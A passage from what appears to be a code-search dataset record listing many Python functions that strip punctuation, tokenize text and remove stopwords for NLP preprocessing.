TextCleaner().transform([[\"'test!?\"]])[\"corpus\"][0] == \"test\"","def tokenize(text):\n return [token.lower() for token in simple_preprocess(text) if token not in STOPWORDS]","def clean(text):\n\n lower_proper = src.utils.nlp.lower_with_proper(text)\n lemmas = src.utils.nlp.lemmatize(lower_proper)\n cleaned = src.utils.nlp.clean_stopwords_punctuation(lemmas)\n return cleaned","def create_list(string):\n text_words = []\n for word in string.split():\n clean_word = word.strip(punctuation)\n text_words.append(clean_word)\n\n return text_words","def normalize_punctuation(text):\n text = str(text)\n text = text.translate(punct_trans_table)\n return normalize_whitespace(text)","def scrub_words(text):\n \"\"\"Taken from https://github.com/kavgan/nlp-in-practice/blob/master/text-pre-processing/Text%20Preprocessing%20Examples.ipynb \"\"\"\n \n # remove html markup\n text=re.sub(\"(<.*?>)\",\"\",text)\n \n #remove non-ascii and digits\n text=re.sub(\"(\\\\W|\\\\d)\",\" \",text)\n \n # remove the extra spaces that we have so that it is easier for our split :) Taken from https://stackoverflow.com/questions/2077897/substitute-multiple-whitespace-with-single-whitespace-in-python\n text=re.sub(' +', ' ', text).strip()\n return text","def tokenize(s):\n s = \"\".join(\" \" if x in string.punctuation else x for x in s.lower()) \n return s.split()","def removePunctuation(text):\n return re.sub(r'[^A-Za-z0-9 ]', ' ', text).strip()","def remove_punctuation(text):\n import string\n PUNCT_TO_REMOVE = '''!()-[]{};:'\"\\,<>/?@#$%^&*_~'''\n no_punct = \"\"\n for char in text:\n if char not in PUNCT_TO_REMOVE:\n no_punct = no_punct + char\n else:\n no_punct = no_punct + ' '\n return(no_punct)","def _clean(text, remove_stopwords=False):\n text = _remove_between_square_brackets(text)\n text = _replace_contractions(text)\n \n words = nltk.word_tokenize(text)\n words = _remove_non_ascii(words)\n words = _to_lowercase(words)\n words = _remove_punctuation(words)\n words = _replace_numbers(words)\n\n if remove_stopwords:\n words = _remove_stopwords(words)\n\n return ' '.join(words)","def clean_text(text):\n global cleaned_text\n # remove numbers\n text_nonum = re.sub(r'\\d+', '', text)\n # remove punctuations and convert characters to lower case\n text_nopunct = \"\".join([char.lower() for char in text_nonum if char not in string.punctuation]) \n # substitute multiple whitespace with single whitespace\n # Also, removes leading and trailing whitespaces\n text_no_doublespace = re.sub('\\s+', ' ', text_nopunct).strip()\n #tokenise text\n tokenised_text = text_no_doublespace.split()\n for word in tokenised_text:\n if len(word) == 1:\n tokenised_text.remove(word)\n #if word is a stop word, remove it from the list\n elif word in stopwords.words('english'):\n tokenised_text.remove(word)\n #de-tokenise text\n cleaned_text = ' '.join(tokenised_text)\n return cleaned_text","def punct_remove(text):\n return(re.sub(punct_characters,' ',text))","def cleaning(self, document):\n remove_punct = ''.join(i for i in document.lower() if i not in self.punctuation)\n tokenized = [i for i in remove_punct.split() if i not in self.stopwords]\n if self.lang is not 'chinese':\n # Lemmatizes if not chinese\n tokenized = [self.lemmatize.lemmatize(i) for i in tokenized]\n return tokenized","def replace_punctuation(raw):\r\n\tpunct = set(string.punctuation)\r\n\t\r\n\treturn ''.join([r for r in raw if r not in punct])","def remove_punctuation_and_multi_spaces_document(self, doc):\n regex = re.compile('[%s]' % re.escape(self.punctuation))\n doc = regex.sub(' ', doc)\n return ' '.join(doc.split())","def remove_punctuation(input_string):\n pattern = ('\\W')\n nonWordCharPat = re.compile(pattern)\n pattern = ('\\s')\n wsPat = re.compile(pattern)\n nonWordChars = re.findall(nonWordCharPat,input_string);\n wsChars = re.findall(wsPat, input_string);\n charList = [aChar for aChar in input_string if aChar in wsChars or aChar not in nonWordChars]\n newString = \"\".join(charList)\n return newString\n pass","def tokenize(document):\n import string\n\n # tokenize the given document\n words = nltk.tokenize.word_tokenize(document)\n words = [word.lower() for word in words]\n\n # filter words from punctuations and stopwords\n loop_words = words.copy()\n for word in loop_words:\n if word in [char for char in string.punctuation] + nltk.corpus.stopwords.words(\"english\"):\n words.remove(word)\n\n return words","def remove_punct(text):\r\n table = str.maketrans('', '', string.punctuation)\r\n return text.translate(table)","def split_on_punctuation(self, tokens: List[str]) -> List[str]:\n punctuation: List[str] = []\n punctuation.extend(self.terminators)\n punctuation.extend(constants.REDIRECTION_CHARS)\n\n punctuated_tokens = []\n\n for cur_initial_token in tokens:\n # Save tokens up to 1 character in length or quoted tokens. No need to parse these.\n if len(cur_initial_token) <= 1 or cur_initial_token[0] in constants.QUOTES:\n punctuated_tokens.append(cur_initial_token)\n continue\n\n # Iterate over each character in this token\n cur_index = 0\n cur_char = cur_initial_token[cur_index]\n\n # Keep track of the token we are building\n new_token = ''\n\n while True:\n if cur_char not in punctuation:\n # Keep appending to new_token until we hit a punctuation char\n while cur_char not in punctuation:\n new_token += cur_char\n cur_index += 1\n if cur_index < len(cur_initial_token):\n cur_char = cur_initial_token[cur_index]\n else:\n break\n\n else:\n cur_punc = cur_char\n\n # Keep appending to new_token until we hit something other than cur_punc\n while cur_char == cur_punc:\n new_token += cur_char\n cur_index += 1\n if cur_index < len(cur_initial_token):\n cur_char = cur_initial_token[cur_index]\n else:\n break\n\n # Save the new token\n punctuated_tokens.append(new_token)\n new_token = ''\n\n # Check if we've viewed all characters\n if cur_index >= len(cur_initial_token):\n break\n\n return punctuated_tokens","def wordpunct_space_tokenize(sent):\n return _rts.tokenize(sent)","def verbalisePunctuation(self):\n for i, strText in enumerate(self.sentencesList):\n #For all punctuation marks\n for regex, value in list(TextRepresentation.PUNCTUATION.items()):\n strText = re.sub(regex, value, strText)\n self.sentencesList[i] = strText","def remove_punctuation(input_string):\n return ''.join(x for x in input_string if x not in punctuation)","def remove_punctuation(text: str) -> str:\n return \"\".join(\n itertools.filterfalse(lambda x: unicodedata.category(x).startswith(\"P\"), text)\n )","def cleanword(s):\n word = \"\"\n\n for letter in s:\n if letter not in string.punctuation:\n word += letter\n\n return word","def clean_stopwords(text):\n tokens = tokenize(text)\n tokens = stopwordsRem(tokens)\n return tokens","def sanitize(text, stop_word_list):\n\n # convert the text into Unicode\n text = unicode(text)\n\n #print(type(text))\n\n # replace dot with space\n text = text.translate({ord(\".\"): ord(\" \")})\n # replace dash with space\n text = text.translate({ord(\"-\"): ord(\" \")})\n\n # split the text on white-space\n words = text.split()\n sanitized_words = []\n for w in words:\n\n # ignore numbers\n if w.isnumeric():\n continue\n\n # print(\"Word (Before Punctuation): \" + w)\n\n # remove punctuation\n # Ref: https://stackoverflow.com/questions/265960/best-way-to-strip-punctuation-from-a-string-in-python\n # w = w.translate(None, string.punctuation)\n\n # The above method does not work for Unicode strings\n # Ref: https://stackoverflow.com/questions/23175809/typeerror-translate-takes-one-argument-2-given-python#23306505\n # print(type(w))\n\n # replace punctuations with None\n w = w.translate({ord(c): None for c in string.punctuation})\n w = w.lower()\n # print(\"Word (After Punctuation): \"+w)\n\n # Note: Remove stop-words before Stemming, or else the stop-word\n # matching will not work.\n # If the word is in Stop Word List\n try:\n i = stop_word_list.index(w.lower())\n # skip further processing of word loop\n # print(\"Stop Word Removed: \"+w)\n continue\n except ValueError:\n pass\n\n w = stemm_word(w)\n\n # hack, hack, hack\n if w == '':\n continue\n\n # add the sanitized word into return list\n sanitized_words.append(w)\n\n return sanitized_words","def _tokenize(self, text):\n if not text:\n return []\n\n text = PUNCTUATION_CHARS.sub(' ', text)\n\n words = [\n t[:128].lower() for t in text.split()\n if len(t) >= MIN_WORD_LENGTH and t.lower() not in STOP_WORDS\n ]\n\n return words"],"string":"[\n \"def remove_punctuations(tokenized_word_list):\\n puncuations = set(string.punctuation)\\n\\n double_quote = '\\\\'\\\\''\\n double_sign = '``'\\n\\n puncuations.add(double_quote)\\n puncuations.add(double_sign)\\n\\n filtered_tokens = [word for word in tokenized_word_list if word not in puncuations]\\n return filtered_tokens\",\n \"def remove_punctuation(words: list) -> list:\\n new_words = []\\n for word in words:\\n new_word = re.sub(r'[^\\\\w\\\\s]', '', word)\\n if new_word != '':\\n new_words.append(new_word)\\n return new_words\",\n \"def _remove_punctuation(words):\\n new_words = []\\n for word in words:\\n new_word = re.sub(r'[^\\\\w\\\\s]', '', word)\\n if new_word != '':\\n new_words.append(new_word)\\n return new_words\",\n \"def remove_punctuation(words):\\r\\n new_words = []\\r\\n for word in words:\\r\\n new_word = re.sub(r'[^\\\\w\\\\s]', '', word)\\r\\n if new_word != '':\\r\\n new_words.append(new_word)\\r\\n return new_words\",\n \"def remove_punctuation(words):\\n new_words = []\\n for word in words:\\n new_word = re.sub(r'[^\\\\w\\\\s]', '', word)\\n if new_word != '':\\n new_words.append(new_word)\\n return new_words\",\n \"def remove_punctuation(words):\\n new_words = []\\n for word in words:\\n new_word = re.sub(r'[^\\\\w\\\\s]', '', word)\\n if new_word != '':\\n new_words.append(new_word)\\n return new_words\",\n \"def remove_punctuation(words):\\n new_words = []\\n for word in words:\\n new_word = re.sub(r'[^\\\\w\\\\s]', '', word)\\n if new_word != '':\\n new_words.append(new_word)\\n return new_words\",\n \"def remove_punctuation(words):\\n new_words = []\\n for word in words:\\n new_word = re.sub(r'[^\\\\w\\\\s]', '', word)\\n if new_word != '':\\n new_words.append(new_word)\\n return new_words\",\n \"def remove_punctuation(words):\\n new_words = []\\n for word in words:\\n new_word = re.sub(r'[^\\\\w\\\\s]', '', word)\\n if new_word != '':\\n new_words.append(new_word)\\n return new_words\",\n \"def remove_punctuation(words):\\n new_words = []\\n for word in words:\\n new_word = re.sub(r'[^\\\\w\\\\s]', '', word)\\n if new_word != '':\\n new_words.append(new_word)\\n return new_words\",\n \"def remove_punctuations(tokens):\\n if not remove_punctuations_activated:\\n return tokens\\n output = []\\n for token in tokens:\\n if token not in string.punctuation:\\n output.append(token)\\n return output\",\n \"def remove_punctuation(words):\\n removed_punctuation = []\\n for word in words:\\n new_word = re.sub(r'[^\\\\w\\\\s]', '', word)\\n if new_word != '':\\n removed_punctuation.append(new_word)\\n return removed_punctuation\",\n \"def removePunctuation(self, words):\\n\\t\\tnewWords = []\\n\\t\\tfor word in words:\\n\\t\\t\\tnewWord = re.sub(r'[^\\\\w\\\\s]', '', word)\\n\\t\\t\\tif newWord != '':\\n\\t\\t\\t\\tnewWords.append(newWord)\\n\\t\\treturn newWords\",\n \"def strip_punctuation(word_list):\\n return [word.strip(punctuation) for word in word_list]\",\n \"def removePunctuation(self, words):\\n\\t\\treturn self.__punctuationRegex.sub(' ', words)\",\n \"def remove_punctuation_and_splchars(words):\\n new_words = []\\n for word in words:\\n new_word = re.sub(r'[^\\\\w\\\\s]', '', word)\\n if new_word != '':\\n new_word = remove_special_characters(new_word, True)\\n new_words.append(new_word)\\n return new_words\",\n \"def remove_punctuation(self):\\n new_words = []\\n # new_words = \\\"\\\"\\n for word in self.words:\\n new_word = re.sub(r'[^\\\\w\\\\s]', '', word)\\n if new_word != '':\\n new_words.append(new_word)\\n # new_words += f\\\"{new_word} \\\"\\n self.words = new_words\\n return self\",\n \"def clean(words):\\r\\n tokens = []\\r\\n try:\\r\\n for token in words:\\r\\n token = re.sub(r'[\\\\W\\\\d_]', \\\" \\\", token)\\r\\n tokens.append(token)\\r\\n except:\\r\\n token = \\\"\\\"\\r\\n tokens.append(token)\\r\\n \\r\\n return tokens\",\n \"def removePunc(text):\\r\\n\\t\\r\\n\\tlistFromText = []\\r\\n\\r\\n\\tfor word in text.split():\\r\\n\\t\\tword = word.strip(string.punctuation) # menghapus tanda baca dalam teks\\r\\n\\t\\tlistFromText.append(word)\\r\\n\\r\\n\\treturn listFromText\",\n \"def punctutation_removal(tokenised_document):\\n\\n tokenised_document = [\\n i for i in tokenised_document if i not in punctuation]\\n tokenised_document_cleaner = []\\n for i in tokenised_document:\\n word = re.split(r'\\\\W', i)\\n if (len(word) == 1):\\n tokenised_document_cleaner.append(word[0])\\n elif (len(word) == 2):\\n if (word[0].isalpha() == False):\\n tokenised_document_cleaner.append(word[1])\\n elif (word[1].isalpha() == False):\\n tokenised_document_cleaner.append(word[0])\\n elif (word[0].isalpha() == True and word[1].isalpha() == True): # can affect collocations\\n tokenised_document_cleaner.append(word[0])\\n tokenised_document_cleaner.append(word[1])\\n # to remove null strings\\n resultant_tokenised_doc = []\\n for word in tokenised_document_cleaner:\\n if word != '':\\n resultant_tokenised_doc.append(word)\\n return resultant_tokenised_doc\",\n \"def remove_punctuation(text):\\n words = text.split()\\n table = str.maketrans(\\\"\\\", \\\"\\\", string.punctuation)\\n return ' '.join([w.translate(table) for w in words])\",\n \"def remove_punct_tokens(mylist):\\n\\treturnlist = []\\n\\tfor elem in mylist:\\n\\t\\tif not re.match(r'^[^\\\\w\\\\s]', elem):\\n\\t\\t\\treturnlist.append(elem)\\n\\treturn returnlist\",\n \"def sanitize_text(tokens, stopwords=None):\\n\\n tokens = [x.lower() for x in tokens]\\n regex = re.compile('[^a-z]')\\n\\n for index in range(len(tokens)):\\n tokens[index] = regex.sub('', tokens[index])\\n if stopwords and tokens[index] in stopwords:\\n tokens[index] = ''\\n\\n # remove empty elements\\n tokens = [token for token in tokens if token != '']\\n return tokens\",\n \"def processText(text):\\n\\n no_punc = [word for word in text.split() if word.isalpha()] # and word not in stopwords.words('english')]\\n #removes non-letter characters and only includes words not included in stopwords\\n no_punc = \\\" \\\".join(no_punc) \\n clean_words = nltk.word_tokenize(no_punc) #splits the punctuation marks from the real words\\n return clean_words\",\n \"def clean_non_word_chars(tokens):\\n toks = []\\n for token in tokens:\\n t = re.sub(r'\\\\W', \\\"\\\", token)\\n if len(t) > 1:\\n toks.append(t)\\n\\n return toks\",\n \"def process_text(text, stem=True):\\n exclude = set(string.punctuation)\\n text = ''.join(ch for ch in text if ch not in exclude)\\n #text = text.translate(None, string.punctuation)\\n tokens = word_tokenize(text)\\n if stem:\\n stemmer = PorterStemmer()\\n tokens = [stemmer.stem(t) for t in tokens]\\n return tokens\",\n \"def clean_doc(doc):\\n tokens = doc.split()\\n table = str.maketrans('', '', punctuation)\\n tokens = [w.translate(table) for w in tokens]\\n tokens = [word.lower() for word in tokens if word.isalpha()]\\n stop_words = set(stopwords.words('english'))\\n tokens = [w for w in tokens if not w in stop_words]\\n tokens = [word for word in tokens if len(word) > 1]\\n return tokens\",\n \"def process_text(text):\\n words = word_tokenize(text)\\n return [word.lower() for word in words if word not in string.punctuation]\",\n \"def remove_punctuation(text):\\n return re.sub(r'[^\\\\w]', ' ', text)\",\n \"def normalize_tokens(tokens, language):\\n try:\\n stopwords = set(nltk.corpus.stopwords.words(language))\\n except IOError:\\n stopwords = {}\\n return [t for t in tokens if t.isalnum() and t not in stopwords]\",\n \"def cleanup(text):\\n\\n\\tRE_D = re.compile('\\\\d')\\n\\n\\ttokens = text.split()\\n\\tnew_tokens = list()\\n\\tfor t in tokens:\\n\\t\\tif RE_D.search(t):\\n\\t\\t\\tcontinue\\n\\t\\tfor p in string.punctuation:\\n\\t\\t\\tif p == \\\".\\\":\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\tt=t.replace(p,\\\"\\\")\\n\\t\\tnew_tokens.append(t.lower().strip())\\n\\n\\treturn \\\" \\\".join(new_tokens)\",\n \"def simple_tokenizer(text):\\n re_tok = re.compile(punctuation_string)\\n return re_tok.sub(' ', text).split()\",\n \"def stripPunctuation(stri):\\n for char in string.punctuation:\\n stri = re.sub(r'[\\\\W]+', ' ', stri) \\n\\n return stri\",\n \"def remove_punctuation(text):\\n s =[]\\n for char in text:\\n if char in punc:\\n s.append(\\\" \\\")\\n else:\\n s.append(char) \\n return \\\"\\\".join(s)\",\n \"def clean_stopwords_punctuation(wordlist, punctuation=string.punctuation,\\n stopwords=stopwords.words('english')):\\n\\n cleaned = WordList(w for w in wordlist if w not in punctuation and w not in stopwords)\\n cleaned = ' '.join(cleaned)\\n return cleaned\",\n \"def remove_punctuation(text):\\n text = re.sub(r'[^\\\\w\\\\s]', ' ', text)\\n return text\",\n \"def removePunctuation(self, text=None):\\n\\t\\t# Loop through all the punctuation in self.stop_puncs\\n\\t\\tfor punctuation in self.stop_puncs:\\n\\n\\t\\t\\t# Replace punctuation with leading and trailing spaces\\n\\t\\t\\ttext = text.replace(\\\" \\\" + punctuation, \\\" \\\")\\n\\t\\t\\ttext = text.replace(punctuation + \\\" \\\", \\\" \\\")\\n\\n\\t\\t\\t# Replace punctuation within the first and last 5 characters of the text\\n\\t\\t\\ttext = text[:5].replace(punctuation, \\\"\\\") + text[5:]\\n\\t\\t\\ttext = text[:-5] + text[-5:].replace(punctuation, \\\"\\\")\\n\\n\\t\\t\\t# Otherwise, remove the punctuation if not in list specified\\n\\t\\t\\tif punctuation not in [\\\".\\\", \\\",\\\", \\\"-\\\", \\\"--\\\"]:\\n\\t\\t\\t\\ttext = text.replace(punctuation, \\\"\\\")\\n\\n\\t\\treturn text\",\n \"def sent_to_words(sent: str) -> List[str]:\\n return [word for word in sent.split() if word not in string.punctuation]\",\n \"def stripPunctuation(data):\\n for punctuation in punctuations:\\n data = data.replace(punctuation, \\\" \\\")\\n return data\",\n \"def remove_punc(text):\\n for punctuation in string.punctuation:\\n text = text.replace(punctuation, ' ')\\n text = re.sub(\\\" +\\\", \\\" \\\", text)\\n return text\",\n \"def remove_punctuation(text_list: list) -> list:\\n for text_index in range(len(text_list), 0, -1):\\n if(text_list[text_index-1] in string.punctuation):\\n text_list.pop(text_index-1)\\n return text_list\",\n \"def remove_puncts(text):\\n # regex rocks\\n #return re.sub('[%s]'%PUNCTS, ' ', text)\\n return REMOVE_PUNCTS_RE.sub(' ', text)\",\n \"def tokenize(text):\\n text = text.lower()\\n remove = re.compile('[' + string.punctuation + '0-9\\\\\\\\r\\\\\\\\t\\\\\\\\n]')\\n cleanText = re.sub(remove, \\\" \\\", text)\\n tokens = nltk.word_tokenize(cleanText)\\n tokens = [w.lower() for w in tokens if (len(w) >= 3 and w not in ENGLISH_STOP_WORDS)]\\n return tokens\",\n \"def remove_punctuations(text):\\n return text.translate(str.maketrans('', '', string.punctuation))\",\n \"def preprocess_sentence(raw):\\r\\n\\t\\r\\n\\t# raw = re.sub(r\\\"[\\\\x80-\\\\xff]\\\",\\\" \\\",raw)\\r\\n\\t\\r\\n\\traw = regex_punct.sub(' ',raw)\\r\\n\\traw = raw.strip()\\r\\n\\traw = raw.lower()\\r\\n\\t\\r\\n\\twords = nltk.word_tokenize(raw)\\r\\n\\twords = [replace_punctuation(w) for w in words if not w in stopwords and len(w) > 1]\\r\\n\\t\\r\\n\\treturn(' '.join(words))\",\n \"def clean_the_text(text):\\n \\n #Replace non-word characters with empty space\\n text = re.sub('[^A-Za-z0-9\\\\s]', ' ', text)\\n \\n #Remove punctuation\\n text = ''.join([word for word in text if word not in string.punctuation])\\n \\n #Bring text to lower case\\n text = text.lower()\\n \\n #Tokenize the text\\n tokens = re.split('\\\\W+', text)\\n \\n #Remove stopwords\\n text = [word for word in tokens if word not in stopword]\\n \\n #Lemmatize the words\\n text = [wn.lemmatize(word) for word in text]\\n \\n #Return text\\n return text\",\n \"def remove_punctuation(text):\\n return re.sub('[,.?\\\";:\\\\-!@#$%^&*()]', '', text)\",\n \"def clean_article(text):\\n tokens = word_tokenize(text)\\n tokens = [word.lower() for word in tokens]\\n table = str.maketrans('', '', string.punctuation)\\n stripped = [w.translate(table) for w in tokens]\\n words = [word for word in stripped if word.isalpha()]\\n stop_words = list(set(stopwords.words('english'))) + EXTRA_STOPWORDS\\n words_list = [w for w in words if w not in stop_words]\\n return words_list\",\n \"def tokenize(text):\\n text = re.sub(r'[^0-9A-Za-z]',\\\" \\\", text).lower()\\n text = word_tokenize(text)\\n return [w for w in text if not w in stop_words]\",\n \"def remove_punct(self,text):\",\n \"def normalize_text(text: str) -> List[str]:\\n normalized_text = []\\n\\n for word in text.split():\\n preprocessed_word = TextProcessor.remove_punctuation(word)\\n if preprocessed_word:\\n normalized_text.append(preprocessed_word.lower())\\n\\n return normalized_text\",\n \"def clean_punctuation(s, punc_to_keep=[]):\\r\\n\\r\\n if not isinstance(s, str):\\r\\n raise ValueError('The value passed is not a string')\\r\\n\\r\\n PUNCT = re.compile('[%s]' % re.escape(\\\"\\\".join(set(string.punctuation) - set(punc_to_keep))))\\r\\n return re.sub('\\\\s+', ' ', PUNCT.sub('', s)).strip()\",\n \"def clean_raw_data(self, text):\\r\\n return [token.lower() for token in nltk.word_tokenize(text)\\r\\n if token not in self.stop_words and token not in punctuation]\",\n \"def normalize(text):\\n removePunctuation = dict((ord(char), None) for char in string.punctuation)\\n return stem_tokens(nltk.word_tokenize(text.lower().translate(removePunctuation)))\",\n \"def remove_unused_words(text_list, vocab):\\n vocabset = set(vocab)\\n for i in range(0, len(text_list)):\\n tokens = word_tokenize(text_list[i])\\n tokens = [word for word in tokens if word in vocabset]\\n text_list[i] = u' '.join(tokens)\\n return text_list\",\n \"def remove_punctuation(label):\\n\\n word = \\\"\\\".join(c for c in word if c not in ('!','.',':',',','.','?','\\\\''))\\n return word\",\n \"def tokenize(text):\\n text = text.translate(str.maketrans('', '', string.punctuation))\\n tokens = word_tokenize(text)\\n lemmatizer = WordNetLemmatizer()\\n\\n clean_tokens = []\\n for tok in tokens:\\n clean_tok = lemmatizer.lemmatize(tok).lower().strip()\\n clean_tokens.append(clean_tok)\\n\\n s = stopwords.words('english')\\n result = []\\n for token in clean_tokens:\\n if token not in s:\\n result.append(token)\\n\\n return result\",\n \"def _remove_punctuation(text: str) -> str:\\n punctuation = string.punctuation + '¿¡'\\n table = str.maketrans('', '', punctuation)\\n words = text.split()\\n\\n stripped = [word.translate(table) for word in words]\\n\\n return ' '.join(stripped)\",\n \"def remove_punctuation(input_string):\\r\\n return ''.join([c for c in input_string if c not in punctuation])\",\n \"def remove_punctuation(text):\\n bad_characters = [\\\".\\\", \\\",\\\", \\\";\\\", \\\"!\\\", \\\"?\\\", \\\":\\\", \\\"(\\\", \\\")\\\", \\\"-\\\", \\\"/\\\", \\\"*\\\",\\n \\\"' \\\", \\\" '\\\", '\\\"', \\\"&\\\"]\\n for bad_character in bad_characters:\\n text = text.replace(bad_character, \\\"\\\")\\n return text.lower()\",\n \"def clean_article(self):\\n # split into tokens by white space\\n tokens = self.text.split(\\\" \\\")\\n # remove punctuation from each token\\n table = str.maketrans('', '', punctuation)\\n tokens = [w.translate(table) for w in tokens] # type: List[Any]\\n # remove remaining tokens that are not alphabetic\\n tokens = [word for word in tokens if word.isalpha()]\\n # filter out stop words\\n stop_words = set(stopwords.words('english'))\\n tokens = [w for w in tokens if not w in stop_words]\\n # lemmatization and lowercase\\n lmtzr = WordNetLemmatizer()\\n tokens = [lmtzr.lemmatize(w.lower()) for w in tokens]\\n # filter out short tokens\\n tokens = [word for word in tokens if len(word) > 1]\\n return tokens\",\n \"def tokenize_doc_simple(self, doc):\\n\\n tokens = [word.strip(string.punctuation) for word in doc.split()]\\n # remove the empty string\\n return [token for token in tokens if token]\",\n \"def remove_punctations_fun(self): \\n self.doc = re.sub('[^a-zA-Z0-9]', ' ', self.doc)\",\n \"def remove_non_words(text_tokens):\\n\\n # define the set of Latin characters\\n keep_list = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',\\n 'u', 'v', 'w', 'x', 'y', 'z']\\n\\n return [words for words in text_tokens if all(letter in keep_list for letter in list(words)) is True]\",\n \"def remove_characters(tokens):\\n pattern = re.compile('[{}]'.format(re.escape(string.punctuation)))\\n no_char_tokens = filter(None, [pattern.sub('', token) for token in tokens])\\n return no_char_tokens\",\n \"def stripPunctuation(text):\\n exclude = set(string.punctuation)\\n clean_text = ''.join(ch for ch in text if ch not in exclude)\\n clean_text = clean_text.replace('\\\\n',' ') # Let's account for newline characters also \\n return clean_text.encode('ascii','ignore')\",\n \"def clean_text(text, stop_word_list=stop_words, stem=True):\\n stemmer = PorterStemmer()\\n result = text.lower()\\n result = result.translate(None, string.punctuation)\\n result = result.replace('\\\\n', ' ')\\n result = result.split()\\n\\n # filter out 'numeric' words such as '14th'\\n is_alpha = re.compile('^[a-z]+$')\\n result = filter(lambda word: is_alpha.match(word), result)\\n\\n if stem:\\n result = [stemmer.stem(word) for word in result]\\n return filter(lambda word: word not in stop_word_list, result)\",\n \"def lower_and_remove_punc(self):\\n table = str.maketrans('', '', punctuation)\\n return self.words.lower().translate(table)\",\n \"def text_clean(text):\\n out = []\\n # Define a punctuation dictionary so that we can replace each punctuation with an empty space.\\n table = str.maketrans('', '', string.punctuation)\\n stopWords = set(stopwords.words('senti')) # Set stop words language to English\\n tokens = text.split() # Split each tweet into list of words.\\n tokens = filter(lambda x: x[0] != '@', tokens) # Remove mentions\\n tokens = [word.translate(table) for word in tokens] # Remove punctuation marks\\n tokens = [word for word in tokens if word.isalpha()] # Remove any word that is not completely alphabetic.\\n tokens = [word for word in tokens if len(word) > 1] # Remove any word that is shorter than two letters\\n tokens = [word.lower() for word in tokens]\\n tokens = [word for word in tokens if not word in stopWords] # Remove any stopwords\\n token = \\\"\\\"\\n for i in tokens:\\n token += (i + \\\" \\\")\\n out.append(token)\\n return out\",\n \"def tokenize(document):\\n raw_words=[word.lower() for word in nltk.word_tokenize(document) if word.isalpha()]\\n raw_words=[word.lower() for word in raw_words]\\n final_words=[]\\n for word in raw_words:\\n if word not in string.punctuation and word not in nltk.corpus.stopwords.words(\\\"english\\\"):\\n final_words.append(word.lower())\\n return final_words\",\n \"def remove_punctuations(self, text):\\n translator = str.maketrans('', '', self._punctuations_list)\\n return text.translate(translator)\",\n \"def clean_doc(doc):\\n tokens = doc.split()\\n # Remove punctuation marks [., ;, :, \\\", e.t.c]\\n re_punc = re.compile('[%s]' % re.escape(string.punctuation))\\n tokens = [re_punc.sub('', w) for w in tokens]\\n # Keep only alphabetic words (Remove words with numbers)\\n tokens = [word for word in tokens if word.isalpha()]\\n # Remove stop words like \\\"and, but, a, the, an\\\" e.t.c\\n stop_words = set(stopwords.words('english'))\\n tokens = [w for w in tokens if not w in stop_words]\\n # Remove all other 1-character words if they're still in there\\n tokens = [word for word in tokens if len(word) > 1]\\n return tokens\",\n \"def punctuation_filter(sentence):\\n filtered_sentence = sentence\\n regexps = [(r\\\"[.!?,\\\\-()\\\\[\\\\]\\\\\\\\]\\\", \\\" \\\"),\\n (r\\\"&\\\", \\\"und\\\"),\\n (r\\\" {2,}\\\", \\\" \\\")]\\n for find, replace in regexps:\\n filtered_sentence = re.sub(find, replace, filtered_sentence)\\n \\n return filtered_sentence\",\n \"def test_drop_punctuation():\\n assert TextCleaner().transform([[\\\"'test!?\\\"]])[\\\"corpus\\\"][0] == \\\"test\\\"\",\n \"def tokenize(text):\\n return [token.lower() for token in simple_preprocess(text) if token not in STOPWORDS]\",\n \"def clean(text):\\n\\n lower_proper = src.utils.nlp.lower_with_proper(text)\\n lemmas = src.utils.nlp.lemmatize(lower_proper)\\n cleaned = src.utils.nlp.clean_stopwords_punctuation(lemmas)\\n return cleaned\",\n \"def create_list(string):\\n text_words = []\\n for word in string.split():\\n clean_word = word.strip(punctuation)\\n text_words.append(clean_word)\\n\\n return text_words\",\n \"def normalize_punctuation(text):\\n text = str(text)\\n text = text.translate(punct_trans_table)\\n return normalize_whitespace(text)\",\n \"def scrub_words(text):\\n \\\"\\\"\\\"Taken from https://github.com/kavgan/nlp-in-practice/blob/master/text-pre-processing/Text%20Preprocessing%20Examples.ipynb \\\"\\\"\\\"\\n \\n # remove html markup\\n text=re.sub(\\\"(<.*?>)\\\",\\\"\\\",text)\\n \\n #remove non-ascii and digits\\n text=re.sub(\\\"(\\\\\\\\W|\\\\\\\\d)\\\",\\\" \\\",text)\\n \\n # remove the extra spaces that we have so that it is easier for our split :) Taken from https://stackoverflow.com/questions/2077897/substitute-multiple-whitespace-with-single-whitespace-in-python\\n text=re.sub(' +', ' ', text).strip()\\n return text\",\n \"def tokenize(s):\\n s = \\\"\\\".join(\\\" \\\" if x in string.punctuation else x for x in s.lower()) \\n return s.split()\",\n \"def removePunctuation(text):\\n return re.sub(r'[^A-Za-z0-9 ]', ' ', text).strip()\",\n \"def remove_punctuation(text):\\n import string\\n PUNCT_TO_REMOVE = '''!()-[]{};:'\\\"\\\\,<>/?@#$%^&*_~'''\\n no_punct = \\\"\\\"\\n for char in text:\\n if char not in PUNCT_TO_REMOVE:\\n no_punct = no_punct + char\\n else:\\n no_punct = no_punct + ' '\\n return(no_punct)\",\n \"def _clean(text, remove_stopwords=False):\\n text = _remove_between_square_brackets(text)\\n text = _replace_contractions(text)\\n \\n words = nltk.word_tokenize(text)\\n words = _remove_non_ascii(words)\\n words = _to_lowercase(words)\\n words = _remove_punctuation(words)\\n words = _replace_numbers(words)\\n\\n if remove_stopwords:\\n words = _remove_stopwords(words)\\n\\n return ' '.join(words)\",\n \"def clean_text(text):\\n global cleaned_text\\n # remove numbers\\n text_nonum = re.sub(r'\\\\d+', '', text)\\n # remove punctuations and convert characters to lower case\\n text_nopunct = \\\"\\\".join([char.lower() for char in text_nonum if char not in string.punctuation]) \\n # substitute multiple whitespace with single whitespace\\n # Also, removes leading and trailing whitespaces\\n text_no_doublespace = re.sub('\\\\s+', ' ', text_nopunct).strip()\\n #tokenise text\\n tokenised_text = text_no_doublespace.split()\\n for word in tokenised_text:\\n if len(word) == 1:\\n tokenised_text.remove(word)\\n #if word is a stop word, remove it from the list\\n elif word in stopwords.words('english'):\\n tokenised_text.remove(word)\\n #de-tokenise text\\n cleaned_text = ' '.join(tokenised_text)\\n return cleaned_text\",\n \"def punct_remove(text):\\n return(re.sub(punct_characters,' ',text))\",\n \"def cleaning(self, document):\\n remove_punct = ''.join(i for i in document.lower() if i not in self.punctuation)\\n tokenized = [i for i in remove_punct.split() if i not in self.stopwords]\\n if self.lang is not 'chinese':\\n # Lemmatizes if not chinese\\n tokenized = [self.lemmatize.lemmatize(i) for i in tokenized]\\n return 